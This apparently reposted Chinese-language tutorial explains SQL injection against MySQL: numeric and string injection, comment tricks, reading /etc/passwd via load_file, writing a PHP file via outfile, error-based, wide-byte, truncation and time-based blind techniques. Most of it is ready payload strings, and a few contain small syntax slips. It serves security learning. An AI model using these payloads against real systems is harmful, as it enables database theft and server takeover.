先看一个 sql 语句:
select * from admin where username='(此处为用户输入的数据)';
在没有任何过滤的情况下, 如果用户输入:' or 1=1 --
这条语句就为: select * from admin where username=''or 1=1 --';
可见, 语句执行永远为真. 此时就进行了 sql 注入.
SQL 注入有如下分类:
一, 数字型注入
初始参数为: id=1
可以构造: id=1 or 1=1 (语句执行永远为真)
- id=1 and 1=2 (语句执行永远为假)
- id=1' (语句执行会出错)
数字型注入较为简单, 而且一般在 PHP,ASP 等弱类型语言中存在, 而对于 Java,C# 等强类型语言一般不存在.
二, 字符型注入
字符型注入首先想到的是闭合单引号.
不难想到: id=1' and 1=2 --
-- 是注释后边的语句.
三, 其他注入
sql 注入其实可以说就是字符型注入和数字型注入.
还有一些常见的注入, 如:
POST 注入: 注入字段在 POST 数据中.
Cookie 注入: 注入字段在 Cookie 字段中.
延时注入: 使用数据库延时特性注入.
base64 注入: 注入字符串需要经过 base64 加密.
四, MySQL 特性
MySQL 是一种数据库.
(1) 三种注释:
#: 注释从 "#" 字符到行尾.
--: 注释 "--" 序列到行尾. 注意:"--" 后面要加一个空格.
/**/: 注释 /* XXXX */ 中间的字符.
/**/ 注释存在一个特点: select id /*!55555,username*/ from users
语句正常执行./*!55555,username*/ 的意思是若 MySQL 版本号高于或者等于 5.55.55, 语句将会被执行. 如果 "!" 后面不加入版本号, 将直接执行 sql 语句.
(2)MySQL 函数利用
load_file() 函数读文件
读取文件, 文件必须在服务器上, 文件必须为绝对路径, 必须有权限, 文件容量小于 max_allowed_packet 字节 (默认为 16MB, 最大为 1GB), 如:
union select 1,load_file('/etc/passwd'),3,4,5,6 #
绕过单引号: union select 1,load_file(字符串转换为十六进制),3,4,5,6 #
union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 # ascii 码
into outfile 写文件操作
必须持有权限, 文件名为绝对路径.
如: select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'
绕过单引号: select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'
concat 连接字符串
concat(user(),0x2c,database())
concat_ws(0x2c,user(),database()) 0x2c 是 逗号的 16 进制.
五, MySQL 报错注入
- (1)updatexml
- select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
结果返回一个错误:'|5.1.50-community-log'
- (2)extractvalue
- select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));
结果返回一个错误:'|root@localhost'
- (3)floor
- select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
结果返回: Duplicate entry '1root@localhost' for key 'group_key'
六, 宽字节注入
如果 PHP 开启了魔术引号, 就会将单引号, 双引号, 反斜杠和 NULL 字符加上反斜杠转义.
如: id='会输出 \'
这时我们可以使用宽字节注入: id=%d5'输出: 誠' 注入成功.
我们将 誠 进行 url 编码:%d5%5c
而 \ 的 url 编码为:%5c 可见 , 繁体字将反斜杠吃掉了. 这就是宽字节注入的原理.
七, 长字符截断
原理很简单.
比如在数据库创建三个如下用户:
- admin (有三个空格)
- admin (有五个空格)
- admin (有七个空格)
三个用户名长度不一样, 但是如果 查询 admin 用户名, 三个用户名都会被查询到.
假设后台语句是:
select count(*) from users where username='admin' and password='******';
这是存在安全问题的, 如果用户创建一个 "admin" 用户, 即可轻易进入后台, 著名的 WordPress 就被这样的方式攻击过.
八, 延时注入
基于时间差异的盲注手段. 延时注入需要用到 sleep() 函数.
如: select * from users where id = 1 and sleep(3) #三秒后执行 sql 语句.
也可以判断是否存在注入: url+id=1 and sleep(3) 页面三秒左右打开, 则存在注入.
通常 会采用和 if 函数 搭配使用, 进行爆破字符串.
如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)
L 的位置代表字符串的第几个字符, N 代表 ASCII 码.
执行成功, 则三秒左右返回页面, 否则, 和原来相同.
ps: 坚持, 努力, 为梦想奋斗.
来源: http://www.bubuko.com/infodetail-2827969.html